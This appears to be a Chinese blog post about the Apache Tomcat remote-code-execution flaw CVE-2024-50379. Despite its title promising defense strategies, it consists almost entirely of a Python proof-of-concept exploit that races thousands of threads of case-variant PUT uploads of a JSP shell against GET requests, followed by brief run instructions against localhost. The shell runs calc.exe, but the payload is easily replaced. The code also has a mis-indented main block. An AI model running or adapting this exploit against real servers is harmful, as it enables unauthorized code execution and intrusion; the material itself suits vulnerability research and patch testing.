Apache Tomcat 高危RCE漏洞CVE-2024-50379：复现分析与防御策略

import requests
import threading
import sys
SHELL_CONTENT = '''
<% Runtime.getRuntime().exec("calc.exe");%>
'''
# 使用 Event 控制线程终止
stop_event = threading.Event()
def upload_shell(url):
    session = requests.Session()  # 每个线程使用独立的 Session
    print("[+] Uploading JSP shell...")
    while not stop_event.is_set():
        try:
            response = session.put(url, data=SHELL_CONTENT, timeout=3)
            # if response.status_code not in (201, 204):
            #     print(f"[-] Upload failed with status code: {response.status_code}")
               
        except Exception as e:
            if not stop_event.is_set():
                print(f"[-] Upload error: {str(e)}")
def accessShell(url):
    session = requests.Session()  # 每个线程使用独立的 Session (session线程不安全)
    while not stop_event.is_set():
        try:
            response = session.get(url, timeout=3)
            if response.status_code == 200:
                print("[+] Access Success")
                stop_event.set()  # 触发所有线程停止
                return
        except Exception as e:
            if not stop_event.is_set():
                print(f"[-] Access error: {str(e)}")
                if __name__ == "__main__":
    if len(sys.argv) < 3:
        print("Usage: python Poc.py <base_url> <shell_name>")
        sys.exit(1)
    base_url = sys.argv[1]
    shell_name = sys.argv[2]
    upload_url = f"{base_url}/{shell_name[:-3]}{shell_name[-3:].upper()}"
    access_url = f"{base_url}/{shell_name[:-3]}{shell_name[-3:].lower()}"
    print(f"upload_url: {upload_url}")
    print(f"access_url: {access_url}")
    # 创建上传线程池
    upload_threads = []
    for _ in range(20):
        t = threading.Thread(target=upload_shell, args=(upload_url,))
        t.daemon = True  # 设置为守护线程
        upload_threads.append(t)
        t.start()
    # 创建访问线程池
    access_threads = []
    for _ in range(5000):
        t = threading.Thread(target=accessShell, args=(access_url,))
        t.daemon = True  # 设置为守护线程
        access_threads.append(t)
        t.start()
    # 主线程循环检查停止事件
    try:
        while not stop_event.is_set():
            pass
    except KeyboardInterrupt:
        stop_event.set()
        print("n[!] Stopping all threads due to keyboard interrupt.")
    # 等待所有线程完成
    for thread in upload_threads + access_threads:
        thread.join()
    print("n[!] All threads stopped.")

第一步，重新开启tomcat。

注意这时会弹出一个另一个弹窗，不要关闭这个弹窗，不然 http://localhost:8080/ 无法访问。

python CVE-2024-50379.py http://localhost:8080 shell.jsp